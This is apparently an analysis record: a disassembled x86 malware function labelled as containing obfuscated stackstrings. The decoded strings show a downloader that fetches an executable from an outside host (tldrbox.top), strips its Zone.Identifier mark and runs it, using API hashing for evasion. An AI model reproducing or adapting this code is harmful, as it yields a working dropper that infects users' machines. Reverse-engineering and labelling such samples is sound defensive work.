Function at 0x423000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x970
call fcn.00423cb0
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x423022
jmp 0x423747
push 0
push 1
push 0x9b102e2d
mov eax, dword [ebp - 0x23c]
push eax
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0
jne 0x42304e
jmp 0x423747
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x526e0dcd
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x6a0], eax
cmp dword [ebp - 0x6a0], 0
jne 0x42307f
jmp 0x423747
mov eax, dword [ebp - 0x734]
push eax
push 1
push 0xc4b4a94d
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0
jne 0x4230b0
jmp 0x423747
mov edx, 0x25
mov word [ebp - 0x760], dx
mov eax, 0x61
mov word [ebp - 0x75e], ax
mov ecx, 0x70
mov word [ebp - 0x75c], cx
mov edx, 0x70
mov word [ebp - 0x75a], dx
mov eax, 0x64
mov word [ebp - 0x758], ax
mov ecx, 0x61
mov word [ebp - 0x756], cx
mov edx, 0x74
mov word [ebp - 0x754], dx
mov eax, 0x61
mov word [ebp - 0x752], ax
mov ecx, 0x25
mov word [ebp - 0x750], cx
mov edx, 0x5c
mov word [ebp - 0x74e], dx
mov eax, 0x77
mov word [ebp - 0x74c], ax
mov ecx, 0x69
mov word [ebp - 0x74a], cx
mov edx, 0x6e
mov word [ebp - 0x748], dx
mov eax, 0x73
mov word [ebp - 0x746], ax
mov ecx, 0x76
mov word [ebp - 0x744], cx
mov edx, 0x63
mov word [ebp - 0x742], dx
mov eax, 0x73
mov word [ebp - 0x740], ax
mov ecx, 0x2e
mov word [ebp - 0x73e], cx
mov edx, 0x74
mov word [ebp - 0x73c], dx
mov eax, 0x78
mov word [ebp - 0x73a], ax
mov ecx, 0x74
mov word [ebp - 0x738], cx
xor edx, edx
mov word [ebp - 0x736], dx
push 0x104
lea eax, [ebp - 0x970]
push eax
lea ecx, [ebp - 0x760]
push ecx
call dword [ebp - 0x6a0]
lea edx, [ebp - 0x970]
push edx
call dword [ebp - 0x764]
cmp eax, 0xffffffff
je 0x4231e5
jmp 0x423747
mov byte [ebp - 0x238], 0x75
mov byte [ebp - 0x237], 0x72
mov byte [ebp - 0x236], 0x6c
mov byte [ebp - 0x235], 0x6d
mov byte [ebp - 0x234], 0x6f
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x2e
mov byte [ebp - 0x231], 0x64
mov byte [ebp - 0x230], 0x6c
mov byte [ebp - 0x22f], 0x6c
mov byte [ebp - 0x22e], 0
push 0
push 0
lea eax, [ebp - 0x238]
push eax
call dword [ebp - 0x734]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0
jne 0x423257
jmp 0x423747
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x7a3a310
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
jne 0x423288
jmp 0x423747
lea eax, [ebp - 0x650]
push eax
push 0x104
call dword [ebp - 0x6e0]
test eax, eax
jne 0x4232a3
jmp 0x423747
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0x165d9659
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0
jne 0x4232d4
jmp 0x423747
lea eax, [ebp - 0x448]
push eax
push 0
push 0
lea ecx, [ebp - 0x650]
push ecx
call dword [ebp - 0x6e4]
test eax, eax
jne 0x4232f5
jmp 0x423747
push 0x2e
lea edx, [ebp - 0x448]
push edx
call fcn.004239c0
add esp, 8
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x42331a
jmp 0x423747
mov eax, 0x2e
mov word [ebp - 0x65c], ax
mov ecx, 0x65
mov word [ebp - 0x65a], cx
mov edx, 0x78
mov word [ebp - 0x658], dx
mov eax, 0x65
mov word [ebp - 0x656], ax
xor ecx, ecx
mov word [ebp - 0x654], cx
push 0xa
lea edx, [ebp - 0x65c]
push edx
mov eax, dword [ebp - 0x22c]
push eax
call fcn.00423950
add esp, 0xc
mov ecx, dword [ebp - 0x734]
push ecx
push 1
push 0xeae447bb
mov edx, dword [ebp - 0x664]
push edx
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x42339c
jmp 0x423747
mov eax, 0x68
mov word [ebp - 0x69c], ax
mov ecx, 0x74
mov word [ebp - 0x69a], cx
mov edx, 0x74
mov word [ebp - 0x698], dx
mov eax, 0x70
mov word [ebp - 0x696], ax
mov ecx, 0x3a
mov word [ebp - 0x694], cx
mov edx, 0x2f
mov word [ebp - 0x692], dx
mov eax, 0x2f
mov word [ebp - 0x690], ax
mov ecx, 0x74
mov word [ebp - 0x68e], cx
mov edx, 0x6c
mov word [ebp - 0x68c], dx
mov eax, 0x64
mov word [ebp - 0x68a], ax
mov ecx, 0x72
mov word [ebp - 0x688], cx
mov edx, 0x62
mov word [ebp - 0x686], dx
mov eax, 0x6f
mov word [ebp - 0x684], ax
mov ecx, 0x78
mov word [ebp - 0x682], cx
mov edx, 0x2e
mov word [ebp - 0x680], dx
mov eax, 0x74
mov word [ebp - 0x67e], ax
mov ecx, 0x6f
mov word [ebp - 0x67c], cx
mov edx, 0x70
mov word [ebp - 0x67a], dx
mov eax, 0x2f
mov word [ebp - 0x678], ax
mov ecx, 0x33
mov word [ebp - 0x676], cx
mov edx, 0x32
mov word [ebp - 0x674], dx
mov eax, 0x2e
mov word [ebp - 0x672], ax
mov ecx, 0x65
mov word [ebp - 0x670], cx
mov edx, 0x78
mov word [ebp - 0x66e], dx
mov eax, 0x65
mov word [ebp - 0x66c], ax
xor ecx, ecx
mov word [ebp - 0x66a], cx
push 0
push 0
lea edx, [ebp - 0x448]
push edx
lea eax, [ebp - 0x69c]
push eax
push 0
call dword [ebp - 0x228]
test eax, eax
je 0x4234f4
jmp 0x423747
mov byte [ebp - 0x224], 0x75
mov byte [ebp - 0x223], 0x73
mov byte [ebp - 0x222], 0x65
mov byte [ebp - 0x221], 0x72
mov byte [ebp - 0x220], 0x33
mov byte [ebp - 0x21f], 0x32
mov byte [ebp - 0x21e], 0x2e
mov byte [ebp - 0x21d], 0x64
mov byte [ebp - 0x21c], 0x6c
mov byte [ebp - 0x21b], 0x6c
mov byte [ebp - 0x21a], 0
push 0
push 0
lea ecx, [ebp - 0x224]
push ecx
call dword [ebp - 0x734]
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0
jne 0x423566
jmp 0x423747
mov edx, dword [ebp - 0x734]
push edx
push 1
push 0x201d0dd6
mov eax, dword [ebp - 0x660]
push eax
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jne 0x423597
jmp 0x423747
mov ecx, 0x25
mov word [ebp - 0x6d8], cx
mov edx, 0x73
mov word [ebp - 0x6d6], dx
mov eax, 0x3a
mov word [ebp - 0x6d4], ax
mov ecx, 0x5a
mov word [ebp - 0x6d2], cx
mov edx, 0x6f
mov word [ebp - 0x6d0], dx
mov eax, 0x6e
mov word [ebp - 0x6ce], ax
mov ecx, 0x65
mov word [ebp - 0x6cc], cx
mov edx, 0x2e
mov word [ebp - 0x6ca], dx
mov eax, 0x49
mov word [ebp - 0x6c8], ax
mov ecx, 0x64
mov word [ebp - 0x6c6], cx
mov edx, 0x65
mov word [ebp - 0x6c4], dx
mov eax, 0x6e
mov word [ebp - 0x6c2], ax
mov ecx, 0x74
mov word [ebp - 0x6c0], cx
mov edx, 0x69
mov word [ebp - 0x6be], dx
mov eax, 0x66
mov word [ebp - 0x6bc], ax
mov ecx, 0x69
mov word [ebp - 0x6ba], cx
mov edx, 0x65
mov word [ebp - 0x6b8], dx
mov eax, 0x72
mov word [ebp - 0x6b6], ax
xor ecx, ecx
mov word [ebp - 0x6b4], cx
lea edx, [ebp - 0x448]
push edx
lea eax, [ebp - 0x6d8]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [ebp - 0x668]
add esp, 0xc
mov edx, dword [ebp - 0x734]
push edx
push 1
push 0x654fde9a
mov eax, dword [ebp - 0x23c]
push eax
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x6dc], 0
jne 0x4236c7
jmp 0x423747
lea ecx, [ebp - 0x218]
push ecx
call dword [ebp - 0x6dc]
mov edx, dword [ebp - 0x734]
push edx
push 1
push 0x5c856c47
mov eax, dword [ebp - 0x23c]
push eax
call fcn.00423a60
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4236fc
jmp 0x423747
push 0x44
push 0
lea ecx, [ebp - 0x730]
push ecx
call fcn.00423780
add esp, 0xc
mov dword [ebp - 0x730], 0x44
lea edx, [ebp - 0x6b0]
push edx
lea eax, [ebp - 0x730]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x448]
push ecx
call dword [ebp - 0x10]
xor edx, edx
jne 0x423009
mov dword [ebp - 8], 0x14e0
call fcn.00423ca0
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
add eax, dword [edx + 0x18]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret